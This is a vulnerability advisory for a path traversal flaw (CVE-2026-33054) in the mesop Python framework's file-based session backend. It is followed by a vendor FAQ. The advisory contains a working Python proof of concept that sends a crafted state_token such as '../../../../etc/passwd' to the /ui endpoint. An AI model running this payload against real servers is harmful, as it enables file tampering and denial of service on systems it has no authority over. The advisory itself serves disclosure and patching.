CVE-2026-33054

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk.
In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent.
Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
)

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-33054 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-33054? CVE-2026-33054 is a critical-severity path traversal vulnerability in mesop (pip), affecting versions <= 1.2.2. It is fixed in 1.2.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-33054? CVE-2026-33054 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mesop are affected by CVE-2026-33054? mesop (pip) versions <= 1.2.2 is affected.
4. Is there a fix for CVE-2026-33054? Yes. CVE-2026-33054 is fixed in 1.2.3. Upgrade to this version or later.
5. Is CVE-2026-33054 exploitable, and should I be worried? Whether CVE-2026-33054 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33054 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33054? Upgrade mesop to 1.2.3 or later.